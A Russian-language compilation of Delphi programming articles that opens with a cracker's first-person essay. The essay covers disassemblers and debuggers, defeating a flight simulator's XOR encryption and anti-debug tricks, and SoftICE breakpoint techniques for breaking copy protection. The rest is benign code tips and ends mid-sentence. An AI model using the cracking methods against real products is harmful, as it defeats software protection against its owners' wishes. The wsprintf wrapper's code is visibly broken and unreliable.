HACKERVIEW выпускается как внешний просмотрщик для Нортона. Вы можете просмотреть любой исполняемый файл по любому смещению. Более того, вы можете "выполнить" какую-то часть программы или собственную программу, написанную естественно на ассемблере. Это позволяет расшифровывать программы и обходить защиту от дизассемблирования. Он понимает, как старые форматы исполняемых файлов DOS-COM и DOS-EXE, так и форматы исполняемых файлов Windows и OS/2.

IDA очень мощное средство работы с ассемблерными текстами программ. Обладает такими же возможностями, как и HACKERVIEW, но имеет более удобный интерфейс. Также очень хорошо предусмотрена архитектура работы программ в Windows. Т.е. такие вещи, как DLL, расширенный режим работы с памятью и т.д. В своей практике я ни разу не использовал IDA для ломки, но для анализа вирусов приходилось. Очень хорошее средство.

Вывод:

интерактивные декомпиляторы программ занимают свою нишу в инструментарии кракера. В основном это совместное использование с отладчиками, где основную работу делают отладчики. Дело в том, что программирование, благодаря Windows, в основном стало событийным, а не линейным как это было в ДОСе. Поэтому иногда проще в отладчике поставить брейк-точку на нужное нам событие, анализируем, что за гадости готовит нам программа. И уже после, если того требует необходимость, лезем HEIW в нужную часть программы. Но многие задачи не требуют такого совместного использования. Хотя все, конечно, в первую очередь решает привычка, стиль атаки, которую использует обычно кракер. Мне, например, чаще нравится повозится SOFTICE-ом в проге, и лишь при крайней нужде я запускаю Hiew. Поэтому давайте перейдем к самому интересному.

Второе средство: это отладчики. Трудно сказать, что было первым отладчиком или дебаггером. Но для меня все началось с TurboDebugger`a фирмы Borland. Пакет отладочных инструментов этой фирмы поставлялся с такими продуктами, как TurboAssembler, TurboPascal, TurboC, Borland C/C++.

Началось все с того, что нужно было поменять экранные формы одной широко используемой программы. Дело в том, что там стояла проверка контрольной суммы содержимого экрана, и если там находилось что-то не то!!! Это была система "Клиент-банк", написанная местными умельцами. Естественно, тогда не у всех банков были такие умельцы. Ну, вот и решили в другом банке, скопировать программу и поменять экранные формы, чтобы клиенты знали с каким банком они работают!

Весь процесс ломки не занял много времени. Я тогда был глуп и неопытен. А посему стоял за спиной и выдавал новые идеи на гора. Это был мой первый опыт работы с TurboDebugger`ом, опыт "из-за спины". После чего мне пришлось пережить два своих проекта, в которых было много ассемблера. Тогда я и получил богатый опыт отладки с использованием TurboDebuggera.

Многие из понимающих людей будут смеяться, но первую программу я взломал при помощи TurboDebuggera! Было это сделано по просьбе военных, когда я был на сборах. Уж не знаю, зачем им это надо было. Поручение было следующего плана. В штабе стоял комп, чудо ворождебной техники Intel386 c 4-мя метрами памяти. После институтских двоек, просто песня. Так вот, там был приклеен через интерфейсную плату летный тренажер. Господа офицеры, конечно, больше любили F-19. Но вот, в тренажере были обязаны заниматься.

Тренажер был написан одним столичным ВУЗом и, защита была поставлена с умом. Все исполняемые файлы за редким исключением были зашифрованы. Но, что самое главное расшифровка была повешена на отладочные прерывания INT 1 и INT 3. Это был мой первый опыт "борьбы против потных рук", поэтому действовал я немножечко коряво.

Загрузив прогу в TurboDebugger, я проигнорировал переопределение векторов, и передал управление по адресу "обработчика INT 3". Потом я проанализировал, чего там ждет "обработчик INT 1". Так выделился расшифровщик. Система была проста, как коврик мыши. Все исполняемые модули, вызываемые из главной программы, были зашифрованы простой операцией XOR от ключа длинной 512 байт записанного в определенном секторе винта. Т.е. 1-ый байт ключа ксорился с 1-ым байтом блока, 2-ой со 2-ым и т.д. Я не стал заниматься изысками, вычисляющими ключ. Я написал прогу, которая читает ключ в файл или, если скажут, из файла в сектор на диске. Т.к. военные не умели пользоваться DISKEDITORом, именно поэтому я написал прогу в обе стороны, которую они повезли в ближайшую военную часть, где стоял такой же тренажер, но только винт не форматировали в отличии от моих клиентов.

Я привел этот пример для того, чтобы показать, что, во-первых, защита от дебагирования не самоцель и ей не стоит уделять ей много времени благо все возможные люки уже известны и кракерам и программерам. Во-вторых, шифрование прог не панацея от кракеров. Любой кракер, если получает заказ на взлом, имеет доступ до нормальной копии программы. То есть он ее либо может купить, либо попользовать ее на компе покупателя. Но об этом чуть позднее.

Теперь вернемся к нашим отладчикам. В отладочный пакет фирмы Borland входили 4 отладчика. TD, TD286 и TD386, а также гордость фирмы – отладчик с удаленной машины по COM-порту. Для истории хотел бы упомянуть о TD386. Этот отладчик в отличие от других мог использовать встроенные в процессор возможности по отладке. Т.е. в CONFIG.SYS прописывался драйвер, который переводил процессор в расширенный режим работы, а ДОС пускался в виртуальной машине. Поэтому после него нельзя было пустить что-то, делающие нечто схожее. После чего в самом отладчике можно было установить аппаратное прерывание на какие-то действия программы. Ну, там чтение из памяти, чтение из порта и т.д. Но сделано это было коряво.

Поэтому я с удовольствием для себя открыл SOFTICE, WINICE (просто айс). Этот отладчик до сих пор является лучшим из лучших, и его возможности позволяют крошить в щепы многие защиты. Если вы когда-нибудь видели ДОС-ский AFD. Вам будет легко представить интерфейс этой программы. Несколько невзрачных окон и командный режим работы. Т.е. при переходе из TurboDebuggera и иже с ним, хочется бросить это "чудо". Но разработчики этой программы пошли в нужную сторону. Если вы вспомните большинство отладчиков, то там все их возможности "повешены" на какие-нибудь клавиши или пункты меню. Но на самом деле этого мало!!! В айсе очень много возможностей, клавишей не хватит, и все они реализованы в "макроязык". Ну, например, серия команд установки точек-останова (брейков). (Попробую на память) BPX – брейк на выполнение, BPM – на обращение к памяти, BMSG – на сообщение Windows, BPIO – на обращение к ВУ, BPR – на обращение к участку памяти, BPRW – на обращение к модулю, BPINT – на прерывание. Плюс еще условия на каждую из команд.

Например, мне надо поставить брейк на щелчек левой кнопкой мыши на кнопке в окне. Даем команду TASK, выбираем нужную задачу. Даем команду hwnd <имя задачи>, выбираем нужный handle. Поверьте это не сложно, т.к. кнопка – это ресурс и данные о нем и ее имя известно Windows, а значит и айсу. Так вот, выбираете handle кнопки, а т.к. любой видимый компонент в Windows – это окно, то даем команду bmsg <хендл>. Ой, а как же нажатие мышки. В винде так много сообщений, что не все упомнишь. Не беда, набираем wmsg wm_mouse* и видим, что wm_mousefirst=200H. В принципе, если вы помните символьное имя нужного вам события, можете сразу его использовать. Итак, bmsg <хендл> wm_mousefirst. Как мы знаем в виндах параметры сообщений запихиваются в регистры и еще кой-куда. Так вот, если вам нужно можете к любой команде дописать if <регистр>=<выражение> ( bpio 21 r if al=1 – прерваться если с 21-го порта прочитана 1-ка). Для извращенных способов ломки, когда чтений из LPT-порта море, можно после if-а добавить DO и одну из BPCOUNT, BPMISS, BPTOTAL – это все запишется в журнал. После чего – сиди читай. Да, еще забыл. При указывании в условии IF можно указать операцию над регистром. Например, чудесная команда BPX. Набрав bpx GetWindowText, вы можете смело запущать дальше программу. Она прервется, когда вызовется функция виндов GetWindowText. Например, вам нужно поставить брейк на какую-нибудь другую функцию, но с проверкой параметра. Набираем, bpx OtherFuncName if @(esp+смещение_параметра)=<значение>. Это в старых айсах, в других bpx OtherFuncName if esp->смещение_параметра=<значение>. Вот такой наворот!

Кажется хватит. Нет, стоп, совсем забыл. Айс запускается на уровне ядра, т.е. им можно заходить и отлаживать VXD, DRV. Но не это главное. Такие старинные штуки, как перекрытие векторов INT1 и INT 3 теперь не проходит. Конечно, и у айса есть люки, как его можно обнаружить, но их очень легко увидеть и не допустить использование таких штучек для обнаружения отладки. Айс на самом деле очень удобный интерфейс отладки. Я описал только возможности установки брейков и не затронул остальных возможностей айса, т.к. именно брейки нас сейчас интересуют.

Вывод:

С появлением Windows отладка программ стала на порядок проще. И намного удобнее дизассемблирования. Принципиально изменился стиль некоторых атак на защиту программ. Теперь не надо шаг за шагом смотреть на ассемблерные леса, продираться сквозь дебри незначащих кодов и защит. Теперь надо отловить нужное событие и понять как на него реагирует программа. Но это не всегда бывает так просто, как выглядит сейчас на словах. Как и ранее, отладка требует знание архитектуры операционки. Чем лучше вы знаете внутренности виндов, тем проще для вас будет взломать программу. Такой отладчик как SOFTICE сильно упрощает подход к анализу программ, он не требует таких навыков, как дизассемблеры. Хотя это спорный вопрос.

Неважно насколько сложным был бы механизм защиты, но все сводится к простейшей проверке или дешифровке. И взлом, в случае с проверкой, можно разбить на два этапа. Первый: это постановка брейков на "подозрительные" флаги, обнаруженные в процедуре "защиты". Второй: анализ обращений к "флагам". По реакции программы можно судить "флаг" это или просто переменная. Но об этом позже.

Продолжение следует.




Как вычислить расстояние, имея широту и долготу

Ни что так не пугает мир. Как всем известный Дядя Билл!

Попробуйте следующий код. Я им пользуюсь продолжительное время.

Входные данные:

  • StartLat (начальная широта) = Градусы и сотые доли
  • StartLong (начальная долгота) = Градусы и сотые доли
  • EndLat (конечная широта) = Градусы и сотые доли
  • EndLong (конечная долгота) = Градусы и сотые доли

Выходные данные:

  • Distance (расстояние) = Расстояние в метрах
  • Bearing (смещение) = Смещение в градусах

Не забудьте включить модуль Math в список используемых (USES) модулей.


 var
   // Передаваемые широта/долгота в градусах и сотых долях
   StartLat: double; // Начальная широта
   StartLong: double; // Начальная долгота
   EndLat: double; // Конечная широта
   EndLong: double; // Конечная долгота
 
   // Переменные, используемые для вычисления смещения и расстояния
   fPhimean: Double; // Средняя широта
   fdLambda: Double; // Разница между двумя значениями долготы
   fdPhi: Double; // Разница между двумя значениями широты
   fAlpha: Double; // Смещение
   fRho: Double; // Меридианский радиус кривизны
   fNu: Double; // Поперечный радиус кривизны
   fR: Double; // Радиус сферы Земли
   fz: Double; // Угловое расстояние от центра сфероида
   fTemp: Double; // Временная переменная, использующаяся в вычислениях
   Distance: Double; // Вычисленное расстояния в метрах
   Bearing: Double; // Вычисленное от и до смещение
 end
 
 const
   // Константы, используемые для вычисления смещения и расстояния
   D2R: Double = 0.017453; // Константа для преобразования градусов в радианы
   R2D: Double = 57.295781; // Константа для преобразования радиан в градусы
   a: Double = 6378137.0; // Основные полуоси
   b: Double = 6356752.314245; // Неосновные полуоси
   e2: Double = 0.006739496742337; // Квадрат эксцентричности эллипсоида
   f: Double = 0.003352810664747; // Выравнивание эллипсоида
 
 begin
   // Вычисляем разницу между двумя долготами и широтами и получаем среднюю широту
   fdLambda := (StartLong - EndLong) * D2R;
   fdPhi := (StartLat - EndLat) * D2R;
   fPhimean := ((StartLat + EndLat) / 2.0) * D2R;
 
   // Вычисляем меридианные и поперечные радиусы кривизны средней широты
   fTemp := 1 - e2 * (Power(Sin(fPhimean), 2));
   fRho := (a * (1 - e2)) / Power(fTemp, 1.5);
   fNu := a / (Sqrt(1 - e2 * (Sin(fPhimean) * Sin(fPhimean))));
 
   // Вычисляем угловое расстояние
   fz :=
     Sqrt(Power(Sin(fdPhi / 2.0), 2) + Cos(EndLat * D2R) * Cos(StartLat * D2R) *
       Power(Sin(fdLambda / 2.0), 2));
 
   fz := 2 * ArcSin(fz);
 
   // Вычисляем смещение
   fAlpha := Cos(EndLat * D2R) * Sin(fdLambda) * 1 / Sin(fz);
   fAlpha := ArcSin(fAlpha);
 
   // Вычисляем радиус Земли
   fR := (fRho * fNu) / ((fRho * Power(Sin(fAlpha), 2)) + (fNu *
     Power(Cos(fAlpha), 2)));
 
   // Получаем смещение и расстояние
   Distance := (fz * fR);
   if ((StartLat < EndLat) and (StartLong < EndLong)) then
     Bearing := Abs(fAlpha * R2D)
   else if ((StartLat < EndLat) and (StartLong > EndLong)) then
     Bearing := 360 - Abs(fAlpha * R2D)
   else if ((StartLat > EndLat) and (StartLong > EndLong)) then
     Bearing := 180 + Abs(fAlpha * R2D)
   else if ((StartLat > EndLat) and (StartLong < EndLong)) then
     Bearing := 180 - Abs(fAlpha * R2D);
 end;
 

Лирическое отступление автора: в качестве входных параметров используются ШИРОТЫ (в множественном числе, ударение на втором слоге), ведь их две. Но хмммм.... долгота(ы???) тоже две, а как будет звучать множественное число? Загадка. Наверное не существует такой формы. (P.S. зато я знаю как будет множественное число от слова ДНО! Слабо?)




Вычисление интеграла

Автор: http://world.fpm.kubsu.ru

Училка сынку программера:
- Ты чего в словосочетании "Дубовая роща" слово "роща" через "я" написал? А ну-ка на доске 20 раз правильно напиши, чтобы на всю жизнь запомнил!
Через минуту поворачивается и видит: @Repeat("роща"; 20)

Вычисление интеграла с заданной точностью алгоритмом Симпсона.


 // (c) Copydown 2002, all left reserved. http://world.fpm.kubsu.ru.
 
 {$APPTYPE CONSOLE}
 
 {$F+} {разрешение передачи функций, как параметров}
 
 type FunctionType = function(x: real): real;
 
 {интегрируемая функция}
 function f(x: real): real; begin f := x end;
 
 {интегрирование от a до b функции f с точностью e}
 function IntegralSimpson(a, b: real; f: FunctionType; e: real): real;
   var
     h, x, s, s1, s2, s3, sign: real;
  begin
 
   if (a = b) then
     begin
       IntegralSimpson := 0; exit
     end;
 
   if (a > b) then
     begin
       x := a; a := b; b := x; sign := -1
     end
    else sign:=1;
 
   h := b - a; s := f(a) + f(b); s2 := s;
 
   repeat
     s3 := s2; h := h/2; s1 := 0; x := a + h;
 
     repeat
       s1 := s1 + 2*f(x); x := x + 2*h;
     until (not(x < b));
 
     s := s + s1; s2 := (s + s1)*h/3; x := abs(s3 - s2)/15
   until (not(x > e));
 
   IntegralSimpson := s2*sign;
  end;
 
 begin
   {вывод результата интегрирования от 0 до 1 функции f с точностью 0.001}
   writeln(IntegralSimpson(0, 1, f, 0.001));
   writeln; writeln('Press Enter'); readln;
 end.
 
 




Код определения возраста

Вызовите диалог редактирования полей (Fields Editor), дважды щелкнув на компоненте TTable или TQuery, расположенном на вашей форме (или выбрав в контекстном меню пункт Fields Editor). Добавьте все поля, с которыми вы хотите работать в форме (даже если вы хотите, чтобы они были невидимы, но вам необходим к ним доступ -- для таких полей установите свойство visible в false). Затем щелкните на "Define..." (определить) для добавления вычисляемого поля. Введите имя вычисляемого поля, отличающееся от имен других полей таблицы, выберите тип (вероятно, StringField) и задайте длину (20 будет в самый раз). Убедитесь в том, что напротив поля 'calculated' стоит галочка. Затем создайте для вашего объекта TTable или TQuery обработчик события 'OnCalcFields'. В этом обработчике вы берете значения реальных полей таблицы, делаете вычисления, и помещаете результаты в объект вычисляемого поля, который вы только что создали. После этого значение выводится в TDBGrid, или в элементе управления TDBText, если вы решили использовать форму вместо табличной сетки.

Наша функция должна достичь цели, обрабатывая значения лет и месяцев. Поскольку не все месяцы имеют одно и то же количество дней, я просто брал среднее число, поэтому результат может быть не очень точен, но большинство людей это удовлетворяет:


 function AgeStr(aDate: TDateTime): string;
 var
   DaysOld: Double;
   Years, Months: Integer;
 begin
   DaysOld := Date - aDate;
   Years := Trunc(DaysOld / 365.25);
   DaysOld := DaysOld - (365.25 * Years);
   Months := Trunc(DaysOld / 30.41);
   Result := Format('%d лет, %d месяцев', [Years, Months]);
 end;
 

В моем случае метод OnCalcFields выглядит так:


 procedure TEntryForm.TableNameOrderCalcFields(DataSet: TDataset);
 begin
   TableNameOrderAge.AsString :=
     AgeStr(TableNameOrderDateOfBirth.AsDateTime);
 end;
 




Вычисление суммы полей

Создайте TQuery с SQL запросом подобно этому:


 Select Sum(Field) From "Table.dbf"
 

Дважды щелкните на TQuery и в открывшемся редакторе полей выберите "Add" (добавить). В нашем случае это будет SumOfField. Затем в обработчике события OnCalcFields сошлитесь на Query1SumOfField (например, Table1TotalSalary.Value := Query1SumOfField.AsInteger ;).




Функция вычисления суммы полей

Автор: Alexsander

"...а хуже всего приходится программистам из Microsoft. Им, бедолагам, в случае чего и обругать-то некого..."


 function SumField(const fieldName: OpenString): longint;
 var
   fld: TField;
   bm: TBookmark; // закладка
 begin
   result := 0;
   tbl.DisableControls; // выключаем рекцию на перемещение по набору данных
   bm := tbl.GetBookmark; // сохраняем позицию
   fld := tbl.FieldByName(fieldName);
   tbl.first;
   while not tbl.eof do
   begin
     result := result + fld.AsInteger;
     tbl.next;
   end;
   tbl.GotoBookmark(bm); // позиционируем обратно
   tbl.EnableControls; // включаем реакцию на перемещение по набору данных
 end;
 




Как вызывать функцию 16-битной DLL из 32-битного приложения

Автор: Nomadic

Надо использовать Thunks.

Кусок работающего только под Windows 95 кода


 const
   Gfsr_SystemResources = 0;
   Gfsr_GdiResources = 1;
   Gfsr_UserResources = 2;
 var
   hInst16: THandle;
   GFSR: Pointer;
   { Undocumented Kernel32 calls. }
 
 function LoadLibrary16(LibraryName: PChar): THandle; stdcall; external kernel32
   index 35;
 
 procedure FreeLibrary16(HInstance: THandle); stdcall; external kernel32 index
   36;
 
 function GetProcAddress16(Hinstance: THandle; ProcName: PChar): Pointer;
   stdcall;
   external kernel32 index 37;
 
 procedure QT_Thunk; cdecl; external kernel32 name 'QT_Thunk';
 { QT_Thunk needs a stack frame. }
 {$STACKFRAMES On}
 { Thunking call to 16-bit USER.EXE. The ThunkTrash argument
 allocates space on the stack for QT_Thunk. }
 
 function NewGetFreeSystemResources(SysResource: Word): Word;
 var
   ThunkTrash: array[0..$20] of Word;
 begin
   { Prevent the optimizer from getting rid of ThunkTrash. }
   ThunkTrash[0] := hInst16;
   hInst16 := LoadLibrary16('user.exe');
   if hInst16 < 32 then
     raise Exception.Create('Can''t load USER.EXE!');
   { Decrement the usage count. This doesn't really free the
   library, since USER.EXE is always loaded. }
   FreeLibrary16(hInst16);
   { Get the function pointer for the 16-bit function in USER.EXE. }
   GFSR := GetProcAddress16(hInst16, 'GetFreeSystemResources');
   if GFSR = nil then
     raise Exception.Create('Can''t get address of GetFreeSystemResources!');
   { Thunk down to USER.EXE. }
   asm
     push SysResource { push arguments }
     mov edx, GFSR { load 16-bit procedure pointer }
     call QT_Thunk { call thunk }
     mov Result, ax { save the result }
   end;
 end;
 




Вызов 16-разрядного кода из 32-разрядного

Автор: Andrew Pastushenko

Идет Илья Муромец по полю. Видит - Змей Горыныч сидит. Ну, тот подкрался к нему и срубил ему голову. У Змея Горыныча две выросло. Срубил Илья ему две - четыре выросло! Срубил четыре - выросло восемь!!! И так далее... И вот когда Илья Муромец срубил 65535 голов Змей Горыныч помер... Потому что был он 16-ти битным.

Посылаю код для определения системных ресурсов (как в "Индикаторе ресурсов"). Использовалась статья "Calling 16-bit code from 32-bit in Windows 95".


 { GetFeeSystemResources routine for 32-bit Delphi.
 
 Works only under Windows 9x }
 
 
 unit SysRes32;
 
 interface
 
 const
 //Constants whitch specifies the type of resource to be checked
 
 
 GFSR_SYSTEMRESOURCES = $0000;
 GFSR_GDIRESOURCES    = $0001;
 GFSR_USERRESOURCES   = $0002;
 
 // 32-bit function exported from this unit
 
 function GetFeeSystemResources(SysResource: Word):Word;
 
 implementation
 
 uses
 
 SysUtils, Windows;
 
 type
 
 //Procedural variable for testing for a nil
 
 TGetFSR = function(ResType: Word): Word; stdcall;
 
 //Declare our class exeptions
 
 EThunkError = class(Exception);
 EFOpenError = class(Exception);
 
 var
 
 User16Handle : THandle = 0;
 GetFSR       : TGetFSR = nil;
 
 //Prototypes for some undocumented API
 
 
 function LoadLibrary16(LibFileName: PAnsiChar): THandle; stdcall;
 external kernel32 index 35;
 
 
 function FreeLibrary16(LibModule: THandle): THandle; stdcall;
 external kernel32 index 36;
 
 
 function GetProcAddress16(Module: THandle; ProcName: LPCSTR): TFarProc;stdcall;
 external kernel32 index 37;
 
 
 procedure QT_Thunk; cdecl;
 external 'kernel32.dll' name 'QT_Thunk';
 
 
 {$StackFrames On}
 
 function GetFeeSystemResources(SysResource: Word):Word;
 var
 
 EatStackSpace: String[$3C];
 begin
 // Ensure buffer isn't optimised away
 
 EatStackSpace := '';
 @GetFSR:=GetProcAddress16(User16Handle,'GETFREESYSTEMRESOURCES');
 if  Assigned(GetFSR) then  //Test result for nil
 asm
 //Manually push onto the stack type of resource to be checked first
 
 push  SysResource
 //Load routine address into EDX
 
 mov   edx, [GetFSR]
 //Call routine
 
 call  QT_Thunk
 //Assign result to the function
 
 mov   @Result, ax
 end
 else raise EFOpenError.Create('GetProcAddress16 failed!');
 end;
 
 initialization
 
 //Check Platform for Windows 9x
 if Win32Platform <> VER_PLATFORM_WIN32_WINDOWS then
 
 raise EThunkError.Create('Flat thunks only supported under Windows 9x');
 
 //Load 16-bit DLL (USER.EXE)
 User16Handle:= LoadLibrary16(PChar('User.exe'));
 
 if User16Handle < 32 then
 raise EFOpenError.Create('LoadLibrary16 failed!');
 
 finalization
 
 //Release 16-bit DLL when done
 if User16Handle <> 0 then
 
 FreeLibrary16(User16Handle);
 
 end.
 




Вызов других программ

Автор: VRSLazy@mail.ru

Увеличения числа участников при подготовке опаздывающей программы только замедляет процесс.


 uses ...ToolWin, Windows...
 
 procedure Run(App: string);
 var
   ErrStr: string;
 
   PMSI: TStartupInfo;
   PMPI: TProcessInformation;
 begin
   try
     CreateProcess(nil, @App[1], nil, nil, False, NORMAL_PRIORITY_CLASS,
       nil, nil, PMSI, PMPI);
   except
     ErrStr := 'Fault run process: ''' + App + '''';
     Application.MessageBox(@ErrStr[1], 'Failure process', MB_OK + MB_ICONERROR);
   end;
 end;
 




Демонстрация обратного вызова BDE

Автор: Mark Edington

Если вы хотите узнать, как работает программа, а деморолика и описания нет. Просто посадите за клавиатуру кошку - вы узнаете все документированные и недокументированные возможности.

Существует обратный вызов (callback) BDE, который вы можете использовать для получения уведомлений об изменении таблиц Paradox. Тем не менее от вас все же потребуется использование таймера. Функция обратного вызова инициируется при вызове функций, осуществляющих доступ к таблице. Ниже приведен код, демонстрирующий технику работы с описанным выше обратным вызовом:

TCMAIN.PAS:


 unit tcmain;
 
 { Демонстрация cbTableChange }
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   DB, DBTables, ExtCtrls, DBCtrls, Grids, DBGrids, BDE, StdCtrls;
 
 const
 
   WM_UPDATETABLE = WM_USER + 1;
 
 type
 
   TForm1 = class(TForm)
     Table1: TTable;
     DataSource1: TDataSource;
     DBGrid1: TDBGrid;
     DBNavigator1: TDBNavigator;
     Timer1: TTimer;
     Button1: TButton;
     procedure Table1AfterOpen(DataSet: TDataSet);
     procedure FormCreate(Sender: TObject);
     procedure Timer1Timer(Sender: TObject);
   private
     FChgCnt: Integer;
     FCB: TBDECallback;
     function TableChangeCallBack(CBInfo: Pointer): CBRType;
     procedure UpdateTableData(var Msg: TMessage); message WM_UPDATETABLE;
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 // Это функция, вызываемая функцией обратного вызова.
 
 function TForm1.TableChangeCallBack(CBInfo: Pointer): CBRType;
 begin
 
   Inc(FChgCnt);
   Caption := IntToStr(FChgCnt);
   MessageBeep(0);
   // Здесь мы не можем вызвать Table1.Refresh, делаем это позже.
   PostMessage(Handle, WM_UPDATETABLE, 0, 0);
 end;
 
 // Данная функция вызывается в ответ на PostMessage (см. выше).
 
 procedure TForm1.UpdateTableData(var Msg: TMessage);
 begin
 
   // Не пытайтесь вызвать обновление, если мы в "середине" редактирования.
   if (Table1.State = dsBrowse) then
     Table1.Refresh;
 end;
 
 procedure TForm1.Table1AfterOpen(DataSet: TDataSet);
 begin
 
   // Установка обратного вызова.
   FCB := TBDECallback.Create(Self, Table1.Handle, cbTableChanged,
     nil, 0, TableChangeCallBack);
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
 
   Table1.DatabaseName := ExtractFilePath(ParamStr(0));
   Table1.Open;
 end;
 
 procedure TForm1.Timer1Timer(Sender: TObject);
 var
 
   SeqNo: Longint;
 begin
 
   // События таймера просто осуществляют вызов DbiGetSeqNo для получения доступа к таблице.
   // В противном случае мы не хотим делать обратный вызов, пока что-то делаем
   // (типа прокрутки) для получения доступа к данным. DbiGetSeqNo вызывается в случае,
   // если таблица не активна.
   if Table1.State <> dsInActive then
     DbiGetSeqNo(Table1.Handle, SeqNo);
 end;
 
 end.
 

TCMAIN.TXT:


 object Form1: TForm1
 
 Left = 270
 Top = 230
 Width = 361
 Height = 251
 Caption = 'Form1'
 PixelsPerInch = 96
 OnCreate = FormCreate
 TextHeight = 13
 object DBGrid1: TDBGrid
 Left = 0
 Top = 83
 Width = 353
 Height = 141
 Align = alBottom
 DataSource = DataSource1
 TabOrder = 0
 end
 object DBNavigator1: TDBNavigator
 Left = 96
 Top = 4
 Width = 240
 Height = 25
 DataSource = DataSource1
 TabOrder = 1
 end
 object Button1: TButton
 Left = 132
 Top = 36
 Width = 75
 Height = 25
 Caption = 'Button1'
 TabOrder = 2
 OnClick = Timer1Timer
 end
 object Table1: TTable
 AfterOpen = Table1AfterOpen
 DatabaseName = 'DBDEMOS'
 TableName = 'VENDORS.DB'
 Left = 16
 Top = 8
 end
 object DataSource1: TDataSource
 DataSet = Table1
 Left = 52
 Top = 8
 end
 object Timer1: TTimer
 OnTimer = Timer1Timer
 Left = 80
 Top = 28
 end
 end
 




Вызов c-шной функции с переменным числом параметров

Автор: Владимир Переплетчик

Комментарий к статье по поводу wsprintf

Сама по себе статья вызывает мало интереса, кроме того, что поднята интересная проблема - вызов с-шной функции с переменным числом параметров. В ответах с использованием массивов вообще, IMHO, ошибка - на стек попадет адрес массива, а в с это совсем не то. Но решение проблемы существует, правда надо ручками повозиться со стеком. Приводимая ниже функция на скорую руку переделывается из работающей в реальном проекте похожего буфера с-паскаль, но там функция в dll имеет тип вызова cdecl и другие обязательные параметры, в связи с чем возможны "опечатки"


 // Пишем функцию-переходник, маскируя с-шные "..." паскалевским
 // array of const
 
 function sprintf(out, fmt: Pchar; args: array of const): Integer;
 var
   I: Integer;
   BufPtr: Pchar;
   S: string;
   buf: array[0..1024] of char;
 begin
   BufPtr := buf;
   // Формируем буффер параметров. Можно, конечно, и прямо на стеке,
   // но головной боли слишком много - проще так
   for I := low(Par) to High(Par) do
     case Par[I].VType of
       vtInteger: // Здесь все просто - 4 байта на стек
         begin
           Integer(Pointer(BufPtr)^) := Par[I].VInteger;
           Inc(BufPtr, 4);
         end;
       vtExtended: // Здесь хуже - слова надо местами поменять :-((
         begin
           Integer(Pointer(BufPtr)^) :=
             Integer(Pointer(Pchar(Par[I].VExtended) + 4)^);
           Inc(BufPtr, 4);
           Integer(Pointer(BufPtr)^) :=
             Integer(Pointer(Par[I].VExtended)^);
           Inc(BufPtr, 4);
         end;
       vtPChar: // Здесь тоже все хорошо - 4 байта
         begin
           Pointer(Pointer(BufPtr)^) := Par[I].VPchar;
           Inc(BufPtr, 4);
         end;
       vtString, vtAnsiString: // А здесь во избежание чудес надо
         // копию строки снять
         begin
           if Par[I].VType = vtString then
             S := Par[I].VString^
           else
             S := string(Par[I].VAnsiString);
           Pointer(Pointer(BufPtr)^ :=
             StrPCopy(StrAlloc(Length(S) + 1), S);
             Inc(BufPtr, 4);
         end;
     end;
   // Поддержку других типов доделывать самостоятельно,
   // вооружившись толковым пособием по с и ассемблеру
 
   I := (BufPtr - buf) div 4; // Сколько раз на стек слово положить
 
   asm
       push dword ptr [out]
       push dword ptr [fmt]
       mov ecx, dword ptr [i]
       mov eax, dword ptr [buf]  // stdcall - параметры в прямом
                                 // порядке
       @@1:
       push dword ptr [eax]
       add  eax, 4
       loop @@1
       call [wsprintf]
       mov  dword ptr [Result], eax // Сохранить результат
       mov eax, dword ptr [i]       // Привести в порядок стек
       shl eax, 2
       add eax, 8
       add esp, eax
   end;
   // Почистить строки
   for I := low(Par) to High(Par) do
     case Par[I].VType of
       vtInteger: Inc(BufPtr, 4);
       vtExtended: Inc(BufPtr, 8);
       vtPChar: Inc(BufPtr, 4);
       vtString, vtAnsiString:
         begin
           StrDispose(PChar(PPointer(BufPtr)^));
           Inc(BufPtr, 4);
         end;
     end;
 end;
 

В таком виде методика уже имеет смысл. Изменения при типах вызова cdecl / pascal понятны.




Вызов Delphi DLL из MS Visual C++

Without C we'd have BASI, PASAL, OBOL ;-)

Во-первых, Вам необходимо объявить все экспортируемые в Delphi DLL функции с ключевыми словами export; stdcall;

Во-вторых, файл заголовка VC++ должен объявить все функции как тип __declspec(dllexport) __stdcall (применяйте двойное подчеркивание в секции объявления прототипа функции extern "C" { ... }. (вместо этого можно также использовать __declspec(dllimport)...). Для примера:


 extern "C" {
 int  __declspec(dllexport)     __stdcall plusone(int); }
 

В-третьих, в VC++ компилятор настраивается на "украшающее" имена функций __stcall, так что Ваша Delphi DLL соответственно должна экспортировать эти функции. Для этого необходимо модифицировать файл Delphi 2.0 .DPR для Вашего DLL, модифицируя имена всех функций, прописанных в разделе экспорта. Для примера, если Вы экспортируете функцию function plusone (intval : Integer), Вам необходимо включить следующую строку в раздел экспорта .DPR-файла:


 plusone name 'plusone@4'
 

Число, следующее за символом @, является общей длиной в байтах всех функциональных аргументов. Самый простой путь для обнаружения неправильных значений - попытаться слинковать Вашу VC++ программу и посмотреть на наличие возможной ошибки компоновщика "unresolved external".

И, наконец, Вы можете легко создать библиотеку импорта, используя утилиту LIB из поставки VC++. Для этого необходимо вручную (!!) создать .DEF-файл для Вашей DLL с секцией экспорта, перечисляющей имена и/или порядковые номера всех экспортируемых DLL функций. Формат .DEF-файла очень прост:


 library MYLIB
 description 'Моя собственная DLL'
 exports
 
 plusone@4
 

Затем запускаете LIB из командной строки DOS/Win95, и в качестве параметра подставляете имя .DEF-файла. Например, LIB /DEF:MYDLL.DEF. Наконец, через диалог Build|Settings|Linker Вы информируете VC++ о полученном .LIB-файле.

Вот пример кода:

*******MYDLLMU.PAS


 unit MyDLLMU;
 
 interface
 
 function plusone(val : Integer) : Integer; export; stdcall;
 procedure ChangeString(AString : PChar); export; stdcall;
 
 implementation
 
 uses
 
 Dialogs,
 SysUtils;
 
 function plusone(val : Integer) : Integer;
 begin
 
 Result := val + 1;
 end;
 
 procedure ChangeString(AString : PChar);
 begin
 
 if AString = 'Здравствуй' then
 StrPCopy(AString, 'Мир');
 end;
 
 end.
 

***********MYDLL.DPR


 library mydll;
 
 { Существенное замечание об управлении памятью в DLL: Если DLL экспортирует функции со
 
 строковыми параметрами или возвращающие строковые значения, модуль ShareMem надо
 указывать в разделе Uses библиотеки и проекта первым. Это касается любых строк,
 передаваемых как в DLL, так и из нее, даже если они размещаются внутри записей или
